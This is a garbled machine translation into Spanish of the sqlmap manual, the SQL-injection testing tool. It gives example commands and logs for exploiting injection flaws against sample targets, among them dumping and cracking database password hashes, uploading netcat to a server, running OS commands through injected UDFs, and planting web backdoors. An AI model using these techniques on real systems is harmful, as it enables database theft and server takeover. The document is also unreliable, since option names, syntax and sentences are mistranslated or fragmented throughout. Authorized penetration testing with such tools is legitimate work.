Académique Documents
Professionnel Documents
Culture Documents
Objetivo:
Al menos una de estas opciones tiene que ser proporcionado para definir la
objetivo (s)
Solicitud:
Estas opciones se pueden utilizar para especificar cmo conectarse a la
direccin URL de destino
--method = Usos del mtodo de la fuerza del mtodo HTTP dada (por ejemplo
PUT)
--Hojas = cadena de datos Los datos que se enva a travs de la POST
--param-del .. = para caracteres utilizado para dividir los valores de
parmetros
--cookie = valor de cookies HTTP cabecera Cookie
--cookie-del .. = COO de caracteres utilizado para dividir los valores de
cookie
--load-cookies = L .. El archivo que contiene las cookies en formato de
Netscape / wget
--drop-Set-Cookie Ignorar cabecera Set-Cookie de la respuesta
--user-agent = valor de encabezado HTTP User-Agent-MAIL
El valor de uso cabecera --random-agente seleccionado al azar HTTP User-
Agent
--host = valor de encabezado de host HTTP HOST
--referer = HTTP_REFERER valor de encabezado Referer
CABECERA -H, --hea .. cabecera adicional (por ejemplo, "X-reenviado-a:
127.0.0.1")
--headers = HEADERS cabeceras adicionales (por ejemplo, "Accept-Language: fr
\ nETag: 123")
De tipo --auth = AUTH .. HTTP tipo de autenticacin (bsica, implcita, NTLM
o PKI)
--auth-cred = AUTH .. HTTP credenciales de autenticacin (nombre:
contrasea)
archivo de clave --auth-file = AUTH .. HTTP PEM autenticacin de certificado
/ privada
--ignore-401 haga caso de error HTTP 401 (no autorizado)
--proxy = PROXY uso de un proxy para conectarse a la direccin URL de
destino
--proxy-CRED PRO = .. credenciales de autenticacin del proxy (nombre:
contrasea)
--proxy-file = PRO .. Cargar lista de proxy de un archivo
--ignore-proxy Ignorar configuracin de proxy por defecto del sistema
red annima Tor --tor Uso
--tor-port = TORPORT Conjunto Tor puerto proxy que no sea por defecto
--tor-type = TORTYPE Conjunto Tor tipo de proxy (HTTP (por defecto), SOCKS4
o SOCKS5)
--check-tor Compruebe si se utiliza adecuadamente Tor
--delay = RETRASO Retraso en segundos entre cada solicitud HTTP
--timeout = segundos tiempo de espera necesario antes de la conexin de
tiempo de espera (por defecto 30)
--retries = reintentos reintentos cuando los tiempos de espera de conexin
(por defecto 3)
--randomize = RPARAM cambiar aleatoriamente el valor de parmetro
determinado (s)
--safe-url = direccin URL SAFEURL visitar con frecuencia durante la prueba
--safe-post = datos seguros .. POST para enviar a una direccin URL segura
--safe-req = MS SEGURO .. Cargar solicitud HTTP a salvo de un archivo
--safe-freq = SAFE peticiones de prueba .. entre dos visitas a una URL
segura dada
--skip-urlencode Skip URL codificacin de los datos de carga til
--csrf-token = RSE .. parmetro se utiliza para mantener anti-CSRF token de
--csrf-url = direccin URL CSRFURL para visitar para extraer anti-CSRF token
de
Fuerza el uso --force-ssl de SSL / HTTPS
mtodo de la contaminacin parmetro --hpp Usar HTTP
--eval = EVALCODE Evaluar cdigo Python proporcionado antes de la solicitud
(por ejemplo,
"Hashlib importacin; ID2 = hashlib.md5 (id) .hexdigest
()")
Mejoramiento:
Estas opciones se pueden usar para optimizar el rendimiento de sqlmap
Inyeccin:
Estas opciones se pueden utilizar para especificar qu parmetros para
probar,
proporcionar cargas tiles de inyeccin de secuencias de comandos
personalizados y manipulacin opcionales
Deteccin:
Estas opciones se pueden utilizar para personalizar la fase de deteccin
--level = NIVEL Nivel de pruebas para llevar a cabo (1-5, por defecto 1)
--risk = RIESGO El riesgo de pruebas para llevar a cabo (1-3, por defecto 1)
--string = Cadena CADENA para que coincida cuando la consulta se evala como
True
--no-string = NO .. String para que coincida cuando la consulta se evala
como False
--regexp = EXPREG Regexp para que coincida cuando la consulta se evala como
True
--code = cdigo HTTP cdigo para que coincida cuando la consulta se evala
como True
--text de slo Comparar pginas basndose nicamente en el contenido textual
Comparar --titles pginas basado slo en sus ttulos
tcnicas:
Estas opciones se pueden utilizar para modificar las pruebas de inyeccin de
SQL especfica
tcnicas
Huella dactilar:
-f, --fingerprint Realizar una extensa versin de DBMS huella digital
Enumeracin:
Estas opciones se pueden utilizar para enumerar la base de datos back-end
la gestin del sistema de informacin, la estructura y los datos contenidos
en el
mesas. Por otra parte usted puede ejecutar sus propias sentencias SQL
Fuerza bruta:
Estas opciones se pueden utilizar para realizar comprobaciones de fuerza
bruta
General:
Estas opciones se pueden utilizar para establecer algunos parmetros
generales de trabajo
Diverso:
Mnemotcnicos -z Utilice mnemotcnicos cortos (por ejemplo, "la gripe, el
palo, prohibicin, tec = UE")
--alert = ALERTA Ejecutar comandos del sistema operativo anfitrin (s)
cuando se encuentra de inyeccin SQL
--answers = RESPUESTAS conjunto de preguntas respuestas (por ejemplo, "dejar
de fumar = N, N = siga")
ni --beep ni Tono en cuestin y / o cuando se encuentra de inyeccin SQL
--cleanup Limpiar el DBMS de sqlmap UDF y tablas especficas
--dependencies Compruebe si faltan (no bsicos) dependencias sqlmap
--disable-colorante salida de la consola Desactivar
--gpage = GooglePage Uso de Google dork resultados de nmero de pgina
especificado
--identify-WAF Haga una prueba a fondo para una proteccin WAF / IPS / IDS
--skip-WAF Omitir deteccin heurstica de la proteccin WAF / IPS / IDS
Imitar --mobile telfono inteligente a travs de encabezado HTTP User-Agent
Trabajo --offline en el modo fuera de lnea (slo utilizar los datos de
sesin)
--page-ranking pgina de visualizacin (PR) para los resultados de Google
dork
--purge-salida Extraccin segura de todo el contenido de un directorio de
salida
Llevar a cabo pruebas exhaustivas --smart slo si heurstica positiva (s)
Smbolo del --sqlmap cscara de una concha sqlmap interactivo
--wizard interfaz de asistente simple para los usuarios principiantes
verbosidad de salida
Opcin: -v
Esta opcin se puede utilizar para ajustar el nivel de verbosidad de los mensajes
de salida.Existen siete niveles de verbosidad. El nivel por defecto es 1 , en el que
se muestran informacin, advertencia de error, los mensajes crticos y los rastreos
de Python (en su caso se producen).
Un nivel razonable de nivel de detalle para comprender mejor lo que hace sqlmap
bajo el cap es de nivel 2 , principalmente para la fase de deteccin y las
funcionalidades de adquisicin. Mientras que si quieres ver las cargas tiles de las
herramientas de SQL enva, el nivel 3 es su mejor opcin. Tambin se recomienda
este nivel para ser utilizado cuando se alimenta a los desarrolladores con un
potencial de informe de error, asegrese de que se enva junto con la salida
estndar del archivo de registro de trfico generado con la opcin -t . Con el fin de
depurar an ms las posibles errores o comportamientos inesperados, le
recomendamos que ajuste el nivel de detalle de nivel 4 o superior.
Objetivo
Al menos una de estas opciones ha proporcionado puede fijar el objetivo (s).
Por ejemplo:
sqlmap.py $ pitn -d "mysql: // Administrador: admin@192.168.21.17: 3306 /
testdb" -f --bann \
er --dbs --users
URL de destino
Opcin: -u o --url
Ejecutar sqlmap contra una sola direccin URL de destino. Esta opcin requiere
una direccin URL de destino en forma siguiente:
http (s): // TargetURL [: puerto] / [...]
Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -
\
-Los usuarios
id = 1
Tenga en cuenta que si la solicitud es a travs de HTTPS, puede utilizar esto en
conjunto con el interruptor --force-SSL para forzar la conexin SSL a 443 /
tcp. Como alternativa, puede anexar: 443 hasta el final del anfitrin valor de
encabezado.
Solicitud
Estas opciones se pueden utilizar para especificar cmo conectarse a la direccin
URL de destino.
mtodo HTTP
Opcin: --method
sqlmap detecta automticamente el mtodo HTTP adecuado para ser utilizado en
las peticiones HTTP. Sin embargo, en algunos casos, se requiere para forzar el
uso de mtodo HTTP especfica (por ejemplo PUT ) que no se utiliza por el
automatismo. Esto es posible con el uso de esta opcin (por ejemplo --method =
PUT ).
datos HTTP
Opcin: --Hojas
Por defecto, el mtodo HTTP utilizado para realizar peticiones HTTP es GET , pero
se puede cambiar de forma implcita a PUBLIQUE proporcionando los datos a ser
enviados en los POST desolicitudes. Tales datos, siendo estos parmetros, se
prueban para la inyeccin de SQL, as como las previstas GET parmetros.
Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/vuln.php" --Hojas = "id = 1" f --
banne \
r --dbs --users
De cualquier razn te lleva a necesita enviar las galletas con las peticiones
sqlmap, los pasos a seguir son los siguientes:
Tenga en cuenta que los HTTP galleta de valores de cabecera suelen estar
separados por una; carcter, no por una y . sqlmap puede reconocer stos como
conjuntos separados deparmetro = valor demasiado, as como GET y POST de
parmetros. En caso de que el carcter de separacin es distinto ; se puede
especificar utilizando la opcin --cookie-del .
Si en cualquier momento durante la comunicacin, la aplicacin web responde
con Set-Cookiecabeceras, sqlmap utilizar automticamente su valor en todas las
peticiones HTTP adicionales como la galleta de cabecera. sqlmap tambin
probar automticamente estos valores para la inyeccin de SQL. Esto puede
evitarse proporcionando el interruptor --drop-Set-Cookie - sqlmap ignorar
cualquier procedente Set-Cookie cabecera.
A la inversa, si usted proporciona un HTTP Cookies encabezado con opcin --
cookie y la URL de destino enva un HTTP Set-Cookie cabecera en cualquier
momento, sqlmap le preguntar qu conjunto de cookies para utilizar para las
siguientes solicitudes HTTP.
Tambin hay una opcin -cookies --load que se pueden utilizar para proporcionar
un archivo especial que contiene Netscape / wget formato cookies.
Tenga en cuenta que tambin el HTTP Cookies cabecera se comprueba frente a la
inyeccin de SQL si el --level se establece en 2 o superior. Lea a continuacin
para ms detalles.
HTTP User-Agent cabecera
Opcin y el interruptor: --user-agente y --random-agente
Por defecto sqlmap realiza peticiones HTTP con el siguiente User-Agent valor de
encabezado:
sqlmap / 1.0-dev-xxxxxxx (http://sqlmap.org)
Sin embargo, es posible que fingir con la opcin --user-agente , proporcionando a
medida User-Agent como argumento de la opcin.
Adems, al proporcionar el interruptor --random-agente , sqlmap seleccionar al
azar a un agente de usuario de la ./txt/user-agents.txt archivo de texto y utilizarlo
para todas las peticiones HTTP dentro de la sesin.
Algunos sitios realizan una comprobacin del lado del servidor de HTTP User-
Agent valor de encabezado y no logran la respuesta HTTP vlida si un agente de
usuario no se proporciona, no se espera que su valor o en una lista negra por un
firewall de aplicaciones web o sistema de prevencin de intrusiones similares. En
este caso sqlmap le mostrar un mensaje de la siguiente manera:
[Hh: mm: 20] [ERROR] la URL de destino responde con un cdigo de estado HTTP
desconocido, trate de
forzar la cabecera HTTP User-Agent con la opcin --user-agente o --random-agente
Tenga en cuenta que tambin el HTTP User-Agent cabecera se prueba contra la
inyeccin de SQL si el --level se establece en 3 o superior. Lea a continuacin
para ms detalles.
HTTP Host cabecera
Opcin: --host
Puede configurar manualmente HTTP Host valor de encabezado. Por defecto
HTTP Hostcabecera se analiza desde una direccin URL de destino previsto.
Tenga en cuenta que tambin el HTTP Host cabecera se comprueba frente a la
inyeccin de SQL si el --level se establece en 5 . Lea a continuacin para ms
detalles.
HTTP Referer cabecera
Opcin: --referer
Es posible falsificar el HTTP Referer valor de encabezado. Por
defecto no HTTP Referercabecera se enva en las solicitudes HTTP si no se
establece de manera explcita.
Tenga en cuenta que tambin el HTTP Referer cabecera se comprueba frente a la
inyeccin de SQL si el --level se establece en 3 o superior. Lea a continuacin
para ms detalles.
BASIC
Digerir
NTLM
Para evitar esta limitacin establecida por el destino, puede proporcionar ninguna
opcin (o combinacin de):
Mejoramiento
Estos conmutadores se pueden utilizar para optimizar el rendimiento de sqlmap.
optimizacin Bundle
Cambiar: -o
Este interruptor es un alias que establece implcitamente las siguientes opciones e
interruptores:
--mantener viva
--null conexin
--threads = 3 si no se establece en un valor ms alto.
la prediccin de salida
Cambiar: --predict-salida
Este interruptor se utiliza en el algoritmo de inferencia estadstica para la
prediccin secuencial de caracteres de valor siendo recuperados. Tabla
estadstica con los valores de carcter ms prometedores est siendo construido
en base a los elementos que figuran en el txt / common-outputs.txt combinado
con el conocimiento de la enumeracin de corriente utilizada. En caso de que el
valor se encuentra entre los valores de salida comunes, ya que el proceso avanza,
tablas de caracteres subsiguientes se estrecharon cada vez ms. Si se usa en
combinacin con la recuperacin de las entidades DBMS comunes, como ocurre
con los nombres de tabla y sistema de privilegios, velocidad es significativo. Por
supuesto, puede editar el archivo de salidas de comn acuerdo con sus
necesidades, si, por ejemplo, se observa patrones comunes en los nombres de
tabla de base de datos o similares.
Tenga en cuenta que este interruptor no es compatible con --threads interruptor.
Esta cuenta se aplica a los interruptores de fuerza bruta y cuando el ir a buscar los
datos se realiza a travs de cualquiera de las tcnicas de inyeccin SQL
ciegos. Para este ltimo caso, sqlmap primero calcula la longitud de la salida de la
consulta en un solo hilo, a continuacin, inicia el multi-threading. Cada hilo se
asigna para recuperar un carcter de la salida de la consulta. El hilo se termina
cuando se recupera ese personaje - se tarda hasta 7 HTTP (S) solicita con el
algoritmo de biseccin aplicado en sqlmap.
Inyeccin
Estas opciones se pueden utilizar para especificar qu parmetros para probar,
proporcionar cargas tiles de inyeccin de secuencias de comandos
personalizados y manipulacin opcionales.
Forzar el DBMS
Opcin: --dbms
Por defecto sqlmap detecta automticamente el sistema de gestin de base de
datos back-end de la aplicacin web. sqlmap es totalmente compatible con los
siguientes sistemas de gestin de base de datos:
MySQL
Orculo
PostgreSQL
Microsoft SQL Server
acceso Microsoft
SQLite
Firebird
Sybase
SAP MaxDB
DB2
Linux
ventanas
Es posible forzar el nombre del sistema operativo si ya sabe que para que sqlmap
evitar hacerlo en s.
Por ejemplo:
$ Python sqlmap.py -u "http: //192.168.136.131/sqlmap/mysql/get_str_brackets.php
\
? Id = 1 "Identificacin -p --prefix" ') "--suffix" Y (' abc '=' abc "
[...]
Esto dar lugar a todas las solicitudes sqlmap para terminar en una consulta de la
siguiente manera:
$ Query = "SELECT * FROM usuarios WHERE id = ( '1') <payload> Y ( 'abc' = 'abc')
LIMIT 0, 1";
Lo cual hace que la consulta sintcticamente correcta.
Para aprovechar las ventajas de esta opcin, se debe sqlmap con una lista
separada por comas de las secuencias de comandos de manipulacin y esto va a
procesar la carga til y devolverlo transformado. Puede definir sus propias
secuencias de comandos de manipulacin indebida, utilizar los sqlmap del pisn
/ carpeta o editarlos, siempre y cuando ellos concatenar separados por comas
como valor de la opcin --tamper (por ejemplo --tamper = "entre, randomcase" ).
El formato de una secuencia de comandos de manipulacin vlida es la siguiente:
# Importaciones necesarias
de lib.core.enums importar PRIORIDAD
Nivel
Opcin: --level
Esta opcin requiere un argumento que especifica el nivel de pruebas que desee
realizar. Haycinco niveles. El valor por defecto es 1 , donde se llevan a cabo
nmero limitado de pruebas (solicitudes). A la inversa, el nivel de 5 probar ms
detallados para un nmero mucho mayor de cargas tiles y los lmites (como en
par de prefijo y el sufijo carga til SQL). Las cargas utilizadas por sqlmap se
especifican en el archivo de texto XML / payloads.xml . Siguiendo las instrucciones
en la parte superior del archivo, si sqlmap pierde una inyeccin, debe ser capaz de
aadir su carga til (s) para probar tambin!
No slo esta opcin afecta a que la carga til sqlmap intentos, pero tambin por
los que se toman los puntos de inyeccin en el examen: GET y parmetros POST
estn siempre a prueba, valores de cabecera de cookies HTTP se prueban desde
el nivel 2 / Referer valor encabezados 'y HTTP User-Agent se pone a prueba de
nivel 3 .
Con todo, ms difcil es detectar una inyeccin SQL, cuanto mayor sea el --
level debe ajustarse.
Se recomienda encarecidamente a mayor sea este valor antes de informar a la
lista de correo que sqlmap no es capaz de detectar un cierto punto de inyeccin.
Riesgo
Opcin: --risk
Esta opcin requiere un argumento que especifica el riesgo de pruebas que desee
realizar. Haycuatro valores de riesgo. El valor por defecto es 1 , que es inofensiva
para la mayora de los puntos de inyeccin SQL. Valor de riesgo 2 aade al nivel
predeterminado para las pruebas consulta pesada inyecciones SQL basados en el
tiempo y el valor 3 aade tambin O basados en pruebas de inyeccin SQL.
En algunos casos, como una inyeccin de SQL en una ACTUALIZACIN comunicado,
la inyeccin de un OR de carga til con base puede conducir a una actualizacin de
todas las entradas de la tabla, lo que ciertamente no es lo que quiere el
atacante. Por esta razn y otras esta opcin se ha introducido: el usuario tiene
control sobre qu cargas se hacen la prueba, el usuario puede elegir
arbitrariamente utilizar tambin los potencialmente peligrosos. De acuerdo con la
opcin anterior, las cargas tiles utilizados por sqlmap se especifican en el archivo
de texto XML / payloads.xml y que son libres de editar y aadir su propietaria.
comparacin de la pgina
Opciones: --string , --no-secuencia , --regexp y --code
Por defecto, la distincin de una verdadera consulta de un falso uno (concepto
spera detrs de vulnerabilidades de inyeccin SQL ciega basada en booleanas)
se realiza mediante la comparacin del contenido de la pgina peticiones
inyectado con el contenido de la pgina no se ha inyectado originales. No siempre
este concepto funciona porque a veces los cambios de contenido de pgina en
cada actualizacin del aun no inyectar algo, por ejemplo, cuando la pgina tiene
un contador, un banner de publicidad dinmica o cualquier otra parte del HTML
que hayan sido transformados de forma dinmica y puede cambiar en el tiempo,
no slo en consecuencia, a la entrada del usuario. Para eludir este lmite, sqlmap
se esfuerza por identificar estos fragmentos de los cuerpos de respuesta y tratar
en consecuencia. A veces puede fallar, es por eso que el usuario puede
proporcionar una cadena ( --string opcin), que debe estar presente en la pgina
original (aunque no es un requisito) y en todas las pginas de consulta inyecta
cierto, pero que es no en el los falsos. En lugar de cadena esttica, el usuario
puede proporcionar una expresin regular ( --regexp opcin). Alternativamente, el
usuario puede proporcionar una (cadena --no-secuencia opcin) que
es no presente en la pgina original, y no en todas las pginas de consulta
inyectados cierto, pero aparece siempre en los falsos.
Tales datos es fcil para un usuario recuperar, simplemente tratar de inyectar en el
parmetro afectado un valor no vlido y comparar manualmente el contenido de la
pgina original (no inyectada) con el contenido de la pgina equivocada
inyectado. De esta manera la distincin se basa en la presencia de cadena o
expresin regular.
En los casos en que el usuario sabe que la distincin de una verdadera consulta de
un falsouno puede hacerse utilizando el cdigo HTTP (por ejemplo, 200 para
la verdadera y 401 para elFalso ), que puede proporcionar esa informacin a sqlmap
(por ejemplo --code = 200 ).
Interruptores: --text-solo y --titles
En los casos en que el usuario sabe que la distincin de una verdadera consulta de
un falsouno puede hacerse utilizando ttulo HTML (por
ejemplo Bienvenido a Verdadero y Forbidden deFalso ), que a su vez puede
convertirse en una comparacin basada en el ttulo utilizando los interruptores --
titles .
En los casos con gran cantidad de contenido activo (por ejemplo, secuencias de
comandos, se incrusta, etc.) en el cuerpo de las respuestas HTTP ', puede filtrar
pginas (switch --text de slo) simplemente por su contenido textual. De esta
manera, en un buen nmero de casos, se puede sintonizar automticamente el
motor de deteccin.
tcnicas
Estas opciones se pueden utilizar para ajustar el ensayo de tcnicas especficas
de inyeccin SQL.
tcnicas de inyeccin SQL para la prueba de
Opcin: --technique
Esta opcin se puede utilizar para especificar qu tipo de inyeccin SQL para
detectar si existen.Por defecto sqlmap pruebas para todos los tipos / tcnicas que
soporta.
En determinadas situaciones, es posible que desee probar slo para uno o pocos
tipos especficos de pensamiento de inyeccin SQL y aqu es donde esta opcin
entra en juego.
Esta opcin requiere un argumento. Tal argumento es una cadena compuesta por
cualquier combinacin de B , E , U , S , T y Q caracteres, donde cada letra representa
una tcnica diferente:
Se puede decir de forma manual sqlmap para la prueba de este tipo de inyeccin
SQL utilizando la opcin --second orden con la direccin URL de la pgina web en
la que se muestran los resultados.
Huella dactilar
sistema de huella digital extensa base de datos de
gestin
Interruptores: -f o --fingerprint
Por defecto de huellas dactilares sistema de gestin de base de datos back-end
de la aplicacin web es manejado automticamente por sqlmap. Justo despus de
que finalice la fase de deteccin y el usuario con el tiempo se le solicita con una
eleccin de qu parmetro vulnerable a utilizar ms adelante, las huellas
dactilares sqlmap el sistema de gestin de base de datos back-end y contina con
la inyeccin por saber qu sintaxis SQL, dialecto y consultas de usar para
proceder con el ataque dentro de los lmites de la arquitectura de base de datos.
Si por alguna instancia que desea llevar a cabo una extensa base de datos de
huellas dactilares sistema de gestin basado en diversas tcnicas como dialectos
SQL especficas y mensajes de error dentro de banda, puede proporcionar el
interruptor --fingerprint . sqlmap va a realizar muchas ms solicitudes y las
huellas digitales de la versin exacta de DBMS y, cuando sea posible, el sistema
operativo, la arquitectura y el nivel de parche.
Si desea que la huella digital sea resultado an ms preciso, tambin puede
proporcionar el interruptor -b o --banner .
Enumeracin
Estas opciones se pueden utilizar para enumerar el sistema de gestin de base de
datos de informacin, estructura de fondo y los datos contenidos en las tablas. Por
otra parte usted puede ejecutar sus propias sentencias SQL.
recuperar todos
Cambiar: --all
Este interruptor puede ser utilizado en situaciones en las que el usuario quiere
recuperar todo remotamente accesible mediante el uso de un nico
conmutador. Esto no es recomendable ya que generar gran nmero de
peticiones de recuperacin de datos tiles y intiles.
Bandera
Cambiar: -b o --banner
La mayora de los sistemas modernos de gestin de base de datos tienen una
funcin y / o una variable de entorno que devuelve la versin del sistema de
gestin de base de datos y, finalmente, detalles sobre su nivel de parche, el
sistema subyacente. Por lo general, la funcin es la versin () y la variable de
entorno se @@ version , pero esto puede variar dependiendo de los DBMS de
destino.
Ejemplo contra un objetivo de Oracle:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -
\
-bandera
[...]
[Xx: xx: 11] [INFO] bandera ir a buscar
La tecnologa de aplicaciones web: PHP 5.2.6, 2.2.9 Apache
back-end DBMS: Oracle
banner: 'Base de Datos Oracle 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
usuario de la sesin
Cambiar: --current usuario
Con este interruptor es posible recuperar los usuarios del sistema de gestin de
base de datos que est llevando a cabo de manera efectiva la consulta en el
DBMS de back-end de la aplicacin web.
[...]
[Xx: xx: 04] [INFO] ir a buscar el nombre de host del servidor
[Xx: xx: 04] [INFO] recuperado: debian-5.0-i386
nombre de host: 'debian-5.0-i386'
[...]
DBMS PostgreSQL:
[hh: mm: 38] [info] ir a buscar a los usuarios de bases de datos hashes de
contraseas
desea utilizar el ataque de diccionario sobre hashes de contraseas
recuperadas? [Y / n / q] y
[Hh: mm: 42] [INFO] utilizando el mtodo de hash: 'postgres_passwd'
cul es la ubicacin del diccionario? [/software/sqlmap/txt/wordlist.txt]
[Hh: mm: 46] [INFO] Diccionario de carga: '/software/sqlmap/txt/wordlist.txt'
Qu desea utilizar sufijos comunes contrasea? (Lento!) [S / N] n
[Hh: mm: 48] [INFO] a partir ataque de diccionario (postgres_passwd)
[Hh: mm: 49] [INFO] encontrado: 'testpass' para el usuario: 'testuser'
[Hh: mm: 50] [INFO] encontrado: 'testpass' para el usuario: 'postgres'
de gestin de base de datos de los usuarios del sistema hashes de contraseas:
[*] Postgres [1]:
hash de la contrasea: md5d7d880f96044b72d0bba108ace96d1e4
contrasea de texto: testpass
[*] Usuarioprueba [1]:
hash de la contrasea: md599e5ea7a6f7c3269995cba3927fd0093
contrasea de texto: testpass
No slo enumer sqlmap los usuarios DBMS y sus contraseas, pero tambin
reconoce el formato de hash ser PostgreSQL, le pregunta al usuario si desea o no
probar los hashes contra un archivo de diccionario e identific la contrasea de
texto para el postgres usuario, que es por lo general a lo largo de un DBA del
usuario aparte, usuarioprueba , contrasea.
Esta caracterstica se ha implementado para todos los DBMS en los que es
posible enumerar los hashes de contraseas de los usuarios, incluyendo Oracle y
Microsoft SQL Server pre y post-2005.
[...]
Base de datos: owasp10
Tabla: cuentas
[4 columnas]
+ ------------- + --------- +
| columna | Tipo |
+ ------------- + --------- +
| cid | int (11) |
| mysignature | texto |
| contrasea | texto |
| username | texto |
+ ------------- + --------- +
Interruptor --search necesita ser utilizado en conjuncin con una de las siguientes
opciones de soporte:
-C Siguiendo una lista de nombres de columnas separadas por comas para buscar
a travs de todo el sistema de gestin de base de datos.
-T Siguiendo una lista de nombres de tabla separados por comas para buscar a
travs de todo el sistema de gestin de base de datos.
-D Siguiendo una lista de nombres de bases de datos separados por comas para
buscar a travs del sistema de gestin de base de datos.
[...]
[Hh: mm: 14] [INFO] ir a buscar salida de la consulta SQL SELECT: 'SELECT' foo
''
[Hh: mm: 14] [INFO] recuperado: foo
SELECT 'foo': 'foo'
[...]
[Hh: mm: 50] [INFO] ir a buscar salida de la consulta SQL SELECT: 'SELECT' foo
',' bar ''
[Hh: mm: 50] [INFO] la consulta SQL proporcionada tiene ms de un campo. sqlmap
ahora
descomprimirlo en distintas consultas para poder recuperar la salida incluso si
estamos
quedando ciego
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (102) + CHAR (111) +
CHAR (111)) AS
VARCHAR (8000)), (CHAR (32)))
[Hh: mm: 50] [INFO] recuperado: foo
[Hh: mm: 50] [DEBUG] realiz 27 consultas en 0 segundos
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (98) + CHAR (97) +
CHAR (114)) COMO VA
RCHAR (8000)), (CHAR (32)))
[Hh: mm: 50] [INFO] recuperado: Barra
[Hh: mm: 50] [DEBUG] realiz 27 consultas en 0 segundos
SELECT 'foo', 'bar': 'foo, bar'
Como se puede ver, sqlmap divide la consulta proporcionada en dos
diferentes SELECTdeclaraciones luego recupera la salida para cada consulta
independiente.
Si la consulta se proporciona un SELECT declaracin y contiene una DESDE clusula,
sqlmap le preguntar si dicha declaracin puede devolver mltiples entradas. En
ese caso, la herramienta sabe cmo desembalar la consulta correctamente para
contar el nmero de entradas posibles y recuperar su salida, entrada por entrada.
La opcin del shell SQL le permite ejecutar su propia sentencia de SQL de forma
interactiva, como una consola de SQL conectado al sistema de gestin de base de
datos. Esta caracterstica proporciona la implementacin del tabulador y apoyo la
historia tambin.
Fuerza bruta
Estos interruptores se pueden utilizar para realizar comprobaciones de fuerza
bruta.
[...]
[Hh: mm: 39] [INFO] MySQL prueba
[Hh: mm: 39] [INFO] confirmando MySQL
[Hh: mm: 40] [INFO] el back-end DBMS es MySQL
[Hh: mm: 40] [INFO] bandera ir a buscar
sistema operativo del servidor Web: Windows
La tecnologa de aplicaciones web: PHP 5.3.1, 2.2.14 de Apache
sistema operativo DBMS: Windows
DBMS: MySQL <5.0.0
banner: "4.1.21-comunidad-nt '
[Hh: mm: 40] [INFO] comprobacin de la existencia tabla usando artculos de '/
software / sqlmap / tx
t / common-tables.txt '
[Hh: mm: 40] [INFO] la adicin de palabras que se usan en la pgina web a la
lista de verificacin
Por favor, introduzca el nmero de hilos? [Enter para 1 (actual)] 8
[Hh: mm: 43] [INFO] recuperado: los usuarios
[...]
[Hh: mm: 49] [INFO] el back-end DBMS es Microsoft SQL Server
sistema operativo del servidor Web: Windows 2000
La tecnologa de aplicaciones web: ASP.NET, Microsoft IIS 6.0, ASP
DBMS de back-end: Microsoft SQL Server 2005
$ Ls -l /software/nc.exe.packed
Inquis -rwxr-xr-x 1 Inquis 31744 hh 2009-MM-DD: mm /software/nc.exe.packed
[...]
[Hh: mm: 29] [INFO] el back-end DBMS es MySQL
sistema operativo del servidor Web: Windows 2003 2008
La tecnologa de aplicaciones web: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end de DBMS: MySQL> = 5.0.0
[...]
desea la confirmacin de que el archivo 'C: /WINDOWS/Temp/nc.exe' ha sido el
xito
escrito completamente en el sistema de archivos DBMS? [Y / n] y
[Hh: mm: 52] [INFO] recuperada: 31744
[Hh: mm: 52] [INFO] el archivo se ha escrito correctamente y su tamao es de
31744 b
ytes, mismo tamao que el archivo local '/software/nc.exe.packed'
[...]
La tecnologa de aplicaciones web: PHP 5.2.6, 2.2.9 Apache
DBMS PostgreSQL:
[Hh: mm: 12] las huellas dactilares el sistema operativo DBMS [INFO]
[Hh: mm: 12] [INFO] el sistema DBMS de back-end operativo es Linux
[Hh: mm: 12] [INFO] prueba si el usuario actual es DBA
[Hh: mm: 12] [INFO] deteccin de back-end versin DBMS de su bandera
[Hh: mm: 12] Verificando 'sys_eval' ya existe [INFO] UDF
[Hh: mm: 12] comprobar si ya existe [INFO] UDF 'sys_exec'
[Hh: mm: 12] la creacin del archivo UDF [INFO] UDF 'sys_eval' binario
[Hh: mm: 12] [INFO] crear UDF 'sys_exec' desde el archivo UDF binaria
desea recuperar la salida estndar de comandos? [Y / n / a] y
comando de salida estndar: '= 104 (postgres) gid = 106 (postgres) grupos uid =
106 (post
gres) '
[Hh: mm: 19] de limpieza hasta el sistema de gestin de base de datos [INFO]
desea eliminar 'sys_eval' UDF? [Y / n] y
desea eliminar 'sys_exec' UDF? [Y / n] y
[Hh: mm: 23] [INFO] limpieza del sistema de gestin de base de datos termin
[Hh: mm: 23] [ADVERTENCIA] recuerde que los archivos de objetos compartidos UDF
guardan en los archivos sys
tem slo puede ser borrado manualmente
Tambin es posible simular una concha real en el que puede escribir tantos
comandos arbitrarios como desee. La opcin es --os-shell y tiene las mismas
implementacin del tabulador y la historia funcionalidades que --sql-shell tiene.
Donde las consultas apiladas no se ha identificado en la aplicacin web (por
ejemplo, PHP o ASP con sistema de gestin de base de datos back-end siendo
MySQL) y el DBMS es MySQL, todava es posible abusar de la SELECT de la
clusula INTO OUTFILE para crear una puerta trasera web en una carpeta se puede
escribir en el directorio raz de documentos del servidor web y an as obtener la
ejecucin de comandos asumiendo el DBMS de back-end y el servidor web estn
alojados en el mismo servidor. sqlmap apoya esta tcnica y permite que el usuario
proporcione una lista separada por comas de posibles raz del documento
subcarpetas donde intenta cargar el archivo de la tela servidor de ensayo y la
posterior puerta trasera web. Adems, sqlmap tiene sus propios caballos de
diligencia de archivo Web probado y puertas traseras de los siguientes idiomas:
SPID
ASP.NET
JSP
PHP
sqlmap se basa en Metasploit para crear el cdigo shell y ejecuta cuatro tcnicas
diferentes para ejecutarlo en el servidor de base de datos. Estas tcnicas son:
[...]
[Hh: mm: 31] [INFO] el back-end DBMS es MySQL
sistema operativo del servidor Web: Windows 2003
La tecnologa de aplicaciones web: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
DBMS MySQL 5.0:
[Hh: mm: 31] las huellas dactilares el sistema operativo DBMS [INFO]
[Hh: mm: 31] [INFO] el sistema operativo DBMS es Windows
cmo se quiere establecer el tnel?
[1] TCP: Metasploit Framework (por defecto)
[2] ICMP: icmpsh - tnel ICMP
>
[Hh: mm: 32] [INFO] prueba si el usuario actual es DBA
[Hh: mm: 32] [INFO] ir a buscar usuario actual
cul es la arquitectura del sistema de gestin de base de datos back-end?
